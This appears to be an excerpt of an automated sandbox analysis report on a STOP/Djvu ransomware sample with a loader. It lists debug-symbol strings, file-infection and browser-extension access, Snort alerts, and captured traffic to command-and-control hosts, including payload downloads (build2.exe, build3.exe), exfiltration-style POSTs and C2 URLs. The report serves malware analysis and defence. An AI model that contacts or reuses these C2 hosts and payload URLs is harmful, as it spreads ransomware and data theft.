Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: R5391762lf.exe, 00000007.00000003.2162329285.000000000384C000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2162135110.00000000037FD000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2161241305.00000000037BF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\y\\ source: R5391762lf.exe, 00000007.00000003.2136464726.000000000379F000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2146776038.00000000037AF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: R5391762lf.exe, 00000007.00000003.1946209635.000000000342A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050202443.00000000034AD000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1947878317.00000000034AF000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050850721.00000000034C5000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049890930.00000000034A1000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946440277.000000000344B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\s\U source: R5391762lf.exe, 00000007.00000003.2065679355.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2051158018.00000000037A8000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2067296704.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2082039763.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2051285855.00000000037C8000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2052379835.00000000037D7000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049970590.000000000370B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\P source: R5391762lf.exe, 00000007.00000003.2135081077.0000000003985000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2147440371.00000000039A6000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2135303170.00000000039D6000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2147135864.0000000003994000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\s\\ source: R5391762lf.exe, 00000007.00000003.2066700717.000000000319C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: R5391762lf.exe, 00000007.00000003.2149833514.000000000376F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\D source: R5391762lf.exe, 00000007.00000003.2065679355.00000000037B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\* source: R5391762lf.exe, 00000007.00000003.2135261521.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2135214422.00000000034C4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\ source: R5391762lf.exe, 00000007.00000003.2099254627.000000000380B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2100295097.000000000397E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2077993512.000000000391E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Y' source: R5391762lf.exe, 00000007.00000003.2162329285.000000000384C000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2162135110.00000000037FD000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2161241305.00000000037BF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\^ source: R5391762lf.exe, 00000007.00000003.1946209635.000000000342A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050202443.00000000034AD000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1947878317.00000000034AF000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050850721.00000000034C5000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049890930.00000000034A1000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946440277.000000000344B000.00000004.00000020.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\R5391762lf.exe

System file written: C:\Users\user\AppData\Local\Temp\chrome.exe

Jump to behavior

Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_00410160
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_0040F730
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	2_2_0040FB98

Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.8:49710 -> 186.145.236.18:80
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.8:49708 -> 186.13.17.220:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.8:49708 -> 186.13.17.220:80
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 186.145.236.18:80 -> 192.168.2.8:49710
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 186.145.236.18:80 -> 192.168.2.8:49709
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.8:49711 -> 186.145.236.18:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.8:49711 -> 186.145.236.18:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199673019888
Source: Malware configuration extractor	URLs: http://cajgtus.com/test1/get.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 24 Apr 2024 15:37:11 GMTContent-Type: application/octet-streamContent-Length: 296448Last-Modified: Tue, 23 Apr 2024 19:19:16 GMTConnection: closeETag: "662809b4-48600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce d6 de 9e 8a b7 b0 cd 8a b7 b0 cd 8a b7 b0 cd 87 e5 6f cd 90 b7 b0 cd 87 e5 50 cd f6 b7 b0 cd 87 e5 51 cd a6 b7 b0 cd 83 cf 23 cd 83 b7 b0 cd 8a b7 b1 cd f8 b7 b0 cd 3f 29 55 cd 8b b7 b0 cd 87 e5 6b cd 8b b7 b0 cd 3f 29 6e cd 8b b7 b0 cd 52 69 63 68 8a b7 b0 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 05 fb 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 30 60 01 00 00 00 00 6d 40 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 61 01 00 04 00 00 00 d6 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 6a 01 00 64 00 00 00 00 40 60 01 66 ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 60 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 e4 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 74 00 00 00 00 01 00 00 76 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 b5 5e 01 00 80 01 00 00 36 02 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 66 ef 00 00 00 40 60 01 00 f0 00 00 00 96 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 24 Apr 2024 15:37:35 GMTServer: Apache/2.4.37 (Win64) PHP/5.6.40Last-Modified: Mon, 09 Oct 2023 19:50:06 GMTETag: "4ae00-6074de5a4a562"Accept-Ranges: bytesContent-Length: 306688Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 f8 06 6b 72 99 68 38 72 99 68 38 72 99 68 38 cf d6 fe 38 73 99 68 38 6c cb fd 38 6e 99 68 38 6c cb eb 38 fc 99 68 38 55 5f 13 38 7b 99 68 38 72 99 69 38 c9 99 68 38 6c cb ec 38 32 99 68 38 6c cb fc 38 73 99 68 38 6c cb f9 38 73 99 68 38 52 69 63 68 72 99 68 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0e d2 b9 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6a 03 00 00 98 3b 00 00 00 00 00 20 05 01 00 00 10 00 00 00 80 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 3e 00 00 04 00 00 b0 bf 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 68 03 00 64 00 00 00 00 90 3e 00 00 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b8 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 68 03 00 00 10 00 00 00 6a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ff 3a 00 00 80 03 00 00 0e 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 69 63 00 00 00 00 05 00 00 00 00 80 3e 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 2f 00 00 00 90 3e 00 00 30 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /profiles/76561199673019888 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 172.67.139.220 172.67.139.220
Source: Joe Sandbox View	IP Address: 95.217.9.149 95.217.9.149
Source: Joe Sandbox View	IP Address: 186.13.17.220 186.13.17.220

Source: Joe Sandbox View	ASN Name: TelmexColombiaSACO TelmexColombiaSACO
Source: Joe Sandbox View	ASN Name: TechtelLMDSComunicacionesInteractivasSAAR TechtelLMDSComunicacionesInteractivasSAAR

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDGIIDHJEBGIDHJJDBKUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHJEGIIDAECAAKEBKFUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAFUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJJKECFCFBGDHIECAAFUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 5909Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqln.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBKJEGIEBFHCAAKKEBAUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 829Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149

Source: C:\Users\user\Desktop\R5391762lf.exe

Code function: 2_2_0040CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

2_2_0040CF10

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /profiles/76561199673019888 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /sqln.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: sdfjhuz.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com

Source: R5391762lf.exe, 00000007.00000003.1484423673.00000000097E0000.00000004.00001000.00020000.00000000.sdmp

String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: api.2ip.ua
Source: global traffic	DNS traffic detected: DNS query: sdfjhuz.com
Source: global traffic	DNS traffic detected: DNS query: cajgtus.com
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDGIIDHJEBGIDHJJDBKUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 279Connection: Keep-AliveCache-Control: no-cache

Source: R5391762lf.exe, 00000007.00000003.2068237141.000000000312E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2101155549.000000000312E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe.K5.(
Source: R5391762lf.exe, 00000007.00000003.2068237141.000000000312E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2101155549.000000000312E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe0K
Source: R5391762lf.exe, 00000007.00000003.1489131073.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: R5391762lf.exe, 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, R5391762lf.exe, 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, R5391762lf.exe, 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, R5391762lf.exe, 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: R5391762lf.exe, 00000007.00000003.1484310948.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: R5391762lf.exe, 00000007.00000003.1484368248.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: R5391762lf.exe, 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: R5391762lf.exe, 00000007.00000003.1484423673.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: R5391762lf.exe, 00000007.00000003.1503507490.00000000097E0000.00000004.00001000.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1486532071.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com
Source: R5391762lf.exe, 00000002.00000003.1391033574.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000002.00000002.1397540119.000000000069C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
